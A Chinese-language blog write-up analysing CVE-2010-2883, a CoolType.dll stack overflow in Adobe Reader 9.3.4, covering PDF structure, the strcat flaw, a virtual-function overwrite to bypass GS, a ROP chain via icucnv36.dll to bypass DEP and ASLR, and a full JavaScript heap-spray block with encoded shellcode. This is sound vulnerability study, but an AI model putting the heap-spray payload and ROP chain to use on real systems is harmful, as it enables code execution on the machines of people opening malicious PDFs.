amliaW4.github.io

title: CVE-2010-2883 分析

date: 2018-04-22 20:11:11

categories:

环境

XP sp3

Adobe Reader 9.3.4

IDA 、 OD

漏洞分析

漏洞位于 CoolType.dll 文件, 一个典型的stack overflow的漏洞。

漏洞出现的原因是在堆SING表格的解析上,使用strcat时没有做长度判断,alt+t搜索SING字符可定位漏洞位置。

img-1

PDF文件数据结构分析

pdf 的文件格式由四部分组成:

header
body
xref table
trailer

这里主要关注 交叉引用表 xref table

img-2

利用PdfStreamDumper导入利用漏洞的PDF文件,在Object中找到Sing的Object,右键选择Save — Decompressed Streams保存到本地。在保存的文件中能看到TableEntry数据结构。

typedef sturct_SING{  //下图的红色
    char tag[4];//"SING"  
    ULONG checkSum;//校验和
    ULONG offset;//相对文件偏移
    ULONG length;//数据长度
} TableEntry;

根据TableEntry结构可知从SING入口偏移0x11c为SING真实数据(蓝色),在参考SING表的数据结构文档(参考官方文档或《漏洞战争》)知道SING从真实数据偏移0x10为uniqueName域(绿色),从代码上可以看出strcat是将uniqueName复制到栈空间,直至遇到NULL字符串终止符。

QQ20180424-211354

分析利用

漏洞成因: strcat导致栈覆盖this指针,控制虚函数表

很多时候只是想知道一个函数大致是做什么工作的: 猜测+观察前后寄存器值的变化+感兴趣的内存区域值的变化

怎么会知道有 call [eax] 这个调用?

https://bbs.pediy.com/thread-221089.htm 这篇文章,师傅好像是直接静态分析出来有这样一个 call,

我认为单纯的分析有点难 ,可能技术太菜限制了我的想象 (╯-_-)╯~╩╩ 掀桌 。

我在这位师傅的总结的方法上添加了一点: (水平有限,下面的修改在一定程度上算是乱想吧)。

《0day第二版》第十章中介绍了两种绕过GS的方法: 攻击异常处理函数,覆盖虚函数。

覆盖异常处理函数需要 0x12e70c - 0x12e4d8 = 0x234 , 实现起来比较麻烦。

img-3

然后选择尝试覆盖虚函数:

先全部填AAAAAA,然后看exception,遇到读写错误这些的就找个稳定可读写的内存解决了,然后最后看到个执行错误(eip=0x41414141)。

执行到0x8001253 时,会将eax数据复制到 [esi] (调试一下可知)。

[esi] 地址需要可读写地址,这个DLL上的地址在各个版本都是不变的,保证兼容和稳定。

img-3

再次F9 就可以断到 call [eax]。

调用栈:

0803DDAB    E8 483D1300               call jmp.MSVCR80.strcat
0803DEAF    E8 2A8DFDFF               call CoolType.08016BDE
    08016C56    E8 C64E0000               call CoolType.0801BB21
        0801BB41    FF10                      call dword ptr ds:[eax]
            0808B308    FF10                      call dword ptr ds:[eax] // 触发点

eax 来自 edi+0x3c处的栈地址 , 这个地址就是被我们覆盖的栈地址。

img-5

继续执行就会到ROP1,为什么 add ebp,0x749 , 我认为只要ebp重新回到被我们覆盖的栈范围就可以。

img-6

leave:
mov esp,ebp
pop ebp

继续执行下一个ROP2。

img-7

我们就可以执行到 0x0c0c0c0c 处的代码了。

依次调用CreateFileA->CreateFileMappingA->MapViewOfFile->memcpy将栈上的shellcode复制到有r-w-x权限的内存段,这样我们就绕过了DEP。

理论上也可以通过ROP调用VirtualProtect修改shellcode所在位置的属性为可读可写可执行进而执行shellcode。

ROP指令时均使用icucnv36模块中的地址,因为icucnv36.dll不受ASLR保护,因此也可以用于绕过ASLR保护。

嵌入到PDF中的javascript代码实现Heap Spary,进而执行ROP,最后跳入shellcode执行。

heap spray技术应用

<script type="text/javascript">
var s = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%u91be%u7e18%udb51%ud9c4%u2474%u5af4%uc931%u31b1%u7231%u0313%u1372%uea83%ufa6d%uad8b%u7965%u4e73%u1e75%uabfd%u1e44%ub899%uaef6%uede9%u45fa%u05bf%u2889%u2968%u863a%u044e%ubbbb%u07b3%uc63f%ue7e7%u097e%ue6fa%u7447%ubbf7%uf210%u2baa%u4e15%uc777%u5e65%u34ff%u613d%ueb2e%u3836%u0df0%u309b%u15b9%u7df8%uad73%u0aca%u6782%uf203%u4629%u01ac%u8e33%ufa0a%ue646%u8769%u3d50%u5310%ua6d4%u10b2%u034e%uf443%uc009%ub14f%u8e5e%u4453%ua4b2%ucd6f%u6b35%u95e6%uaf11%u4ea3%uf63b%u2009%ue844%u9df2%u62e0%uc91e%u2898%u0c74%u572e%u0e3a%u5830%u676a%ud301%uf0e5%u369e%u0e42%u1bd5%u87e2%uc9b0%uc5b7%u2442%uf3fb%ucdc0%u0783%ua7d8%u4c86%u5b5e%uunescapefa%u5b0b%udea9%u3819%u4d2c%u91c1%uf5cb%uee60' );
var a = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (a.length + 20 + 8 < 65536) a+=a;
c = a.substring(0, (0x0c0c-0x24)/2);
c += s;
c += a;
f = c.substring(0, 65536/2);
while(f.length < 0x80000) f += f;
k = f.substring(0, 0x80000 - (0x1020-0x08) / 2);
var NwBg = new Array();
for (OYV=0;OYV<0x1f0;OYV++) NwBg[OYV]=k+"s";
</script>

函数结束前(绕过GS)会先call一个栈上的地址(调用虚函数),将EIP控制到栈上执行0x0c0c0c0c。

为什么会想到用虚函数:逆向分析得到有虚函数,猜测会在函数返回前调用(控制执行流)。


参考

ahageek - CVE-2010-2883 Analysis

4ct10n - 漏洞分析之CVE-2010-2883(栈溢出)

看故事的鱼 - CVE-2010-2883

wooy0ung - CVE-2010-2883分析 & 复现

c00c - CVE-2010-2883分析

holing - [原创]CVE-2010-2883分析笔记

《漏洞战争》

《0day》